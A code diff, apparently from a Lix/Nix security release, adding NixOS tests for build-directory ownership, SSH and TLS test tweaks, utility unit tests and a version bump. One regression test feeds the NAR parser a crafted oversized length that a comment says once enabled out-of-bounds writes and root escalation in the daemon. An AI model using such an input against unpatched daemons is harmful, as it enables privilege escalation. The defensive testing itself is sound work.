if (written_bytes != strlen(new_content)) perror("write");
}
+75
View File
@@ -0,0 +1,75 @@
{ lib, config, pkgs, ... }:
let
failedNormal = config: pkgs.writeText "failed.nix" ''
let utils = builtins.storePath ${config.system.build.extraUtils}; in
derivation {
name = "failed";
system = builtins.currentSystem;
PATH = "''${utils}/bin";
builder = "''${utils}/bin/sh";
args = [ "-c" "mkdir dir; echo test > dir/file" ];
}
'';
failedBuiltin = pkgs.writeText "failed.nix" ''
derivation {
name = "failed";
system = builtins.currentSystem;
builder = "builtin:fetchurl";
url = "http://localhost/foo";
outputHashMode = "flat";
}
'';
in
{
name = "chown-to-user";
nodes = {
machine = { config, lib, pkgs, ... }: {
virtualisation.writableStore = true;
virtualisation.additionalPaths = [ config.system.build.extraUtils ];
users.users.test = {
isNormalUser = true;
group = "test";
};
users.groups.test = {};
nix.nrBuildUsers = 1;
};
};
testScript = { nodes, ... }: ''
import re
machine.wait_for_unit("multi-user.target")
# builds using the daemon chown tempdirs
out = machine.fail("runuser -u test -- nix-build ${failedNormal nodes.machine} --keep-failed 2>&1")
dir = re.search("keeping build directory '(.+?)'", out)
assert dir
assert machine.succeed(f"stat -c %U:%G:%a {dir[1]}").strip() == "root:nixbld:755"
assert machine.succeed(f"stat -c %U:%G:%a {dir[1]}/b").strip() == "test:test:700"
assert machine.succeed(f"stat -c %U:%G:%a {dir[1]}/b/dir").strip() == "test:test:755"
assert machine.succeed(f"stat -c %U:%G:%a {dir[1]}/b/dir/file").strip() == "test:test:644"
# builds not using the daemon do not chown tempdirs
out = machine.fail("NIX_REMOTE=local nix-build ${failedNormal nodes.machine} --keep-failed 2>&1")
dir = re.search("keeping build directory '(.+?)'", out)
assert dir
assert machine.succeed(f"stat -c %U:%G:%a {dir[1]}").strip() == "root:nixbld:755"
assert machine.succeed(f"stat -c %U:%G:%a {dir[1]}/b").strip() == "nixbld1:nixbld:700"
assert machine.succeed(f"stat -c %U:%G:%a {dir[1]}/b/dir").strip() == "nixbld1:nixbld:755"
assert machine.succeed(f"stat -c %U:%G:%a {dir[1]}/b/dir/file").strip() == "nixbld1:nixbld:644"
# builds using builtin builders using the daemon do not keep tempdirs
out = machine.fail("runuser -u test -- nix-build ${failedBuiltin} --keep-failed 2>&1")
dir = re.search("keeping build directory '(.+?)'", out)
assert not dir
# builds using builtin builders not using the daemon do not keep tempdirs
out = machine.fail("NIX_REMOTE=local nix-build ${failedBuiltin} --keep-failed 2>&1")
dir = re.search("keeping build directory '(.+?)'", out)
assert not dir
'';
}
+7 -21
View File
@@ -67,6 +67,8 @@ in
};
});
# Let's ensure that reasonably popular shells are tested for remote building.
remoteBuildsNushell = runNixOSTestFor "x86_64-linux" ({ lib, pkgs, ... }: {
name = "remoteBuilds_nushell";
imports = [ ./remote-builds.nix ];
@@ -75,27 +77,11 @@ in
};
});
remoteBuildsWeirdShell = runNixOSTestFor "x86_64-linux" ({ lib, pkgs, ... }: {
name = "remoteBuilds_weird_shell";
remoteBuildsBusybox = runNixOSTestFor "x86_64-linux" ({ lib, pkgs, ... }: {
name = "remoteBuilds_busybox";
imports = [ ./remote-builds.nix ];
builders.config = { lib, pkgs, ... }: {
# a pathologically weird shell that can do nothing BUT run bash
users.users.root.shell = pkgs.writeTextFile {
name = "watsh";
destination = "/bin/watsh";
executable = true;
text = ''
#!/bin/sh
if [ "$1" = "-c" ] && [ "$2" = "bash" ]; then
exec bash
else
echo "Wat."
fi
'';
passthru.shellPath = "/bin/watsh";
};
users.users.root.shell = pkgs.busybox;
};
});
@@ -179,8 +165,6 @@ in
["i686-linux" "x86_64-linux"]
(system: runNixOSTestFor system ./setuid/setuid.nix);
ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git;
symlinkResolvconf = runNixOSTestFor "x86_64-linux" ./symlink-resolvconf.nix;
@@ -196,4 +180,6 @@ in
io_uring = runNixOSTestFor "x86_64-linux" ./io_uring;
fetchurl = runNixOSTestFor "x86_64-linux" ./fetchurl.nix;
chown-to-user = runNixOSTestFor "x86_64-linux" ./chown-to-user.nix;
}
+2 -2
View File
@@ -52,7 +52,7 @@ in
security.pki.certificateFiles = [ "${goodCert}/cert.pem" ];
networking.hosts."127.0.0.1" = [ "good" "bad" ];
networking.hosts."192.168.1.1" = [ "good" "bad" ];
virtualisation.writableStore = true;
@@ -76,7 +76,7 @@ in
# Fetching from a server with an untrusted cert should fail.
err = machine.fail("nix build --no-substitute --expr 'import <nix/fetchurl.nix> { url = \"https://bad/index.html\"; hash = \"sha256-rsBwZF/lPuOzdjBZN2E08FjMM3JHyXit0Xi2zN+wAZ8=\"; }' 2>&1")
print(err)
assert "SSL peer certificate or SSH remote key was not OK" in err
assert "SSL certificate problem: self-signed certificate" in err
# Fetching from a server with a trusted cert should work via environment variable override.
machine.succeed("NIX_SSL_CERT_FILE=/tmp/cafile.pem nix build --no-substitute --expr 'import <nix/fetchurl.nix> { url = \"https://bad/index.html\"; hash = \"sha256-rsBwZF/lPuOzdjBZN2E08FjMM3JHyXit0Xi2zN+wAZ8=\"; }'")
+2 -2
View File
@@ -45,12 +45,12 @@ in {
server.wait_for_unit("network-online.target")
client.wait_for_unit("network-online.target")
client.succeed("mkdir -m 700 /root/.ssh")
client.succeed("mkdir -m 700 /root/.ssh || [[ -d /root/.ssh ]]")
client.copy_from_host("key", "/root/.ssh/id_ed25519")
client.succeed("chmod 600 /root/.ssh/id_ed25519")
# Install the SSH key on the server.
server.succeed("mkdir -m 700 /root/.ssh")
server.succeed("mkdir -m 700 /root/.ssh || [[ -d /root/.ssh ]]")
server.copy_from_host("key.pub", "/root/.ssh/authorized_keys")
server.wait_for_unit("sshd.service")
client.succeed(f"ssh -o StrictHostKeyChecking=no {server.name} 'echo hello world' >&2")
+2 -1
View File
@@ -48,6 +48,7 @@ in
imports = [ test.config.builders.config ];
services.openssh.enable = true;
virtualisation.writableStore = true;
virtualisation.additionalPaths = [ config.system.build.extraUtils ];
nix.settings.sandbox = true;
nix.settings.substituters = lib.mkForce [ ];
};
@@ -98,7 +99,7 @@ in
out = client.fail("nix-build ${expr nodes.client 1} 2>&1")
assert "Host key verification failed." in out, f"No host verification error:\n{out}"
assert "warning: SSH to 'root@builder' failed, stdout first line: '''" in out, f"No details about which host:\n{out}"
assert "'ssh-ng://root@builder'" in out, f"No details about which host:\n{out}"
client.succeed(f"ssh -o StrictHostKeyChecking=no {builder.name} 'echo hello world' >&2")
+23
View File
@@ -509,4 +509,27 @@ INSTANTIATE_TEST_SUITE_P(
concat({header, make_directory({{"DE", make_file(false, "meow")}, {"de", make_file(false, "mrrp")}})})
))
);
TEST_F(NarTest, stringSizeLimit)
{
GeneratorSource source([]() -> Generator<Bytes> {
const char preamble[] =
"\x0d\x00\x00\x00\x00\x00\x00\x00nix-archive-1\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00(\x00\x00\x00\x00\x00\x00\x00"
"\x04\x00\x00\x00\x00\x00\x00\x00type\x00\x00\x00\x00";
co_yield Bytes{preamble, sizeof(preamble) - 1};
// the nar parser keeps all strings in a buffer with the 8 byte length prefix in front.
// sufficiently large strings overflowed caused the buffer size calculation to overflow
// and thus allowed out-of-bounds writes in the daemon and potentially privesc to root.
co_yield Bytes{"\xf7\xff\xff\xff\xff\xff\xff\xff", 8};
// overflow would happen while reading data
while (true) {
co_yield Bytes{"foo-", 4};
}
}());
auto parser = nar::parse(source);
ASSERT_THROW(parser.next(), SerialisationError);
}
}
+139
View File
@@ -3,6 +3,8 @@
#include "lix/libutil/strings.hh"
#include "lix/libutil/types.hh"
#include "lix/libutil/terminal.hh"
#include "lix/libutil/unix-domain-socket.hh"
#include "tests/test-data.hh"
#include <gtest/gtest.h>
@@ -207,6 +209,85 @@ namespace nix {
ASSERT_FALSE(pathExists("/schnitzel/darmstadt/pommes"));
}
/* ----------------------------------------------------------------------------
* AutoCloseFD::guessOrInventPath
* --------------------------------------------------------------------------*/
void testGuessOrInventPathPrePostDeletion(AutoCloseFD & fd, Path & path) {
{
SCOPED_TRACE(fmt("guessing path before deletion of '%1%'", path));
ASSERT_TRUE(fd);
/* We cannot predict what the platform will return here.
* But it cannot fail. */
ASSERT_TRUE(fd.guessOrInventPath().size() >= 0);
}
{
SCOPED_TRACE(fmt("guessing path after deletion of '%1%'", path));
deletePath(path);
/* We cannot predict what the platform will return here.
* But it cannot fail. */
ASSERT_TRUE(fd.guessOrInventPath().size() >= 0);
}
}
TEST(guessOrInventPath, files) {
Path filePath = getUnitTestDataPath("guess-or-invent/test.txt");
createDirs(dirOf(filePath));
writeFile(filePath, "some text");
AutoCloseFD file{open(filePath.c_str(), O_RDONLY, 0666)};
testGuessOrInventPathPrePostDeletion(file, filePath);
}
TEST(guessOrInventPath, directories) {
Path dirPath = getUnitTestDataPath("guess-or-invent/test-dir");
createDirs(dirPath);
AutoCloseFD directory{open(dirPath.c_str(), O_DIRECTORY, 0666)};
testGuessOrInventPathPrePostDeletion(directory, dirPath);
}
#ifdef O_PATH
TEST(guessOrInventPath, symlinks) {
Path symlinkPath = getUnitTestDataPath("guess-or-invent/test-symlink");
Path targetPath = getUnitTestDataPath("guess-or-invent/nowhere");
createDirs(dirOf(symlinkPath));
createSymlink(targetPath, symlinkPath);
AutoCloseFD symlink{open(symlinkPath.c_str(), O_PATH | O_NOFOLLOW, 0666)};
testGuessOrInventPathPrePostDeletion(symlink, symlinkPath);
}
TEST(guessOrInventPath, fifos) {
Path fifoPath = getUnitTestDataPath("guess-or-invent/fifo");
createDirs(dirOf(fifoPath));
ASSERT_TRUE(mkfifo(fifoPath.c_str(), 0666) == 0);
AutoCloseFD fifo{open(fifoPath.c_str(), O_PATH | O_NOFOLLOW, 0666)};
testGuessOrInventPathPrePostDeletion(fifo, fifoPath);
}
#endif
TEST(guessOrInventPath, pipes) {
int pipefd[2];
ASSERT_TRUE(pipe(pipefd) == 0);
AutoCloseFD pipe_read{pipefd[0]};
ASSERT_TRUE(pipe_read);
AutoCloseFD pipe_write{pipefd[1]};
ASSERT_TRUE(pipe_write);
/* We cannot predict what the platform will return here.
* But it cannot fail. */
ASSERT_TRUE(pipe_read.guessOrInventPath().size() >= 0);
ASSERT_TRUE(pipe_write.guessOrInventPath().size() >= 0);
pipe_write.close();
ASSERT_TRUE(pipe_read.guessOrInventPath().size() >= 0);
pipe_read.close();
}
TEST(guessOrInventPath, sockets) {
Path socketPath = getUnitTestDataPath("guess-or-invent/socket");
createDirs(dirOf(socketPath));
AutoCloseFD socket = createUnixDomainSocket(socketPath, 0666);
testGuessOrInventPathPrePostDeletion(socket, socketPath);
}
/* ----------------------------------------------------------------------------
* concatStringsSep
* --------------------------------------------------------------------------*/
@@ -283,6 +364,64 @@ namespace nix {
ASSERT_THROW(base64Decode("cXVvZCBlcm_0IGRlbW9uc3RyYW5kdW0="), Error);
}
/* ----------------------------------------------------------------------------
* base32Encode
* --------------------------------------------------------------------------*/
TEST(base32Encode, emptyString) {
ASSERT_EQ(base32EncodeStr(""), "");
}
TEST(base32Encode, encodesAString) {
ASSERT_EQ(base32EncodeStr("quod erat demonstrandum"), "6sxb4drhp4x3kdrpnsrb441s62wk541j6yxbi");
}
TEST(base32Encode, encodeAndDecode) {
auto s = "quod erat demonstrandum";
auto encoded = base32EncodeStr(s);
auto decoded = base32Decode(encoded);
ASSERT_EQ(decoded, s);
}
TEST(base32Encode, encodeAndDecodeNonPrintable) {
std::string s(257, '\0');
std::iota(std::rbegin(s), std::rend(s), 0);
auto encoded = base32EncodeStr(s);
auto decoded = base32Decode(encoded);
EXPECT_EQ(decoded.length(), 257);
ASSERT_EQ(decoded, s);
}
TEST(base32Encode, handleNulChars) {
std::string s = "cat girls say meow even with NULs";
// Just throw a NUL in there somewhere.
s[5] = '\0';
auto encoded = base32EncodeStr(s);
auto decoded = base32Decode(encoded);
EXPECT_EQ(decoded, s);
}
/* ----------------------------------------------------------------------------
* base32Decode
* --------------------------------------------------------------------------*/
TEST(base32Decode, emptyString) {
ASSERT_EQ(base32Decode(""), "");
}
TEST(base32Decode, decodeAString) {
ASSERT_EQ(base32Decode("6sxb4drhp4x3kdrpnsrb441s62wk541j6yxbi"), "quod erat demonstrandum");
}
TEST(base32Decode, decodeThrowsOnInvalidChar) {
ASSERT_THROW(base32Decode("6sxb4drhp4x3kdrpnsrb441s62wk541j6yxbe"), Error);
}
/* ----------------------------------------------------------------------------
* getLine
* --------------------------------------------------------------------------*/
+2 -2
View File
@@ -1,5 +1,5 @@
{
"version": "2.93.0",
"official_release": false,
"version": "2.93.4",
"official_release": true,
"release_name": "Bici Bici"
}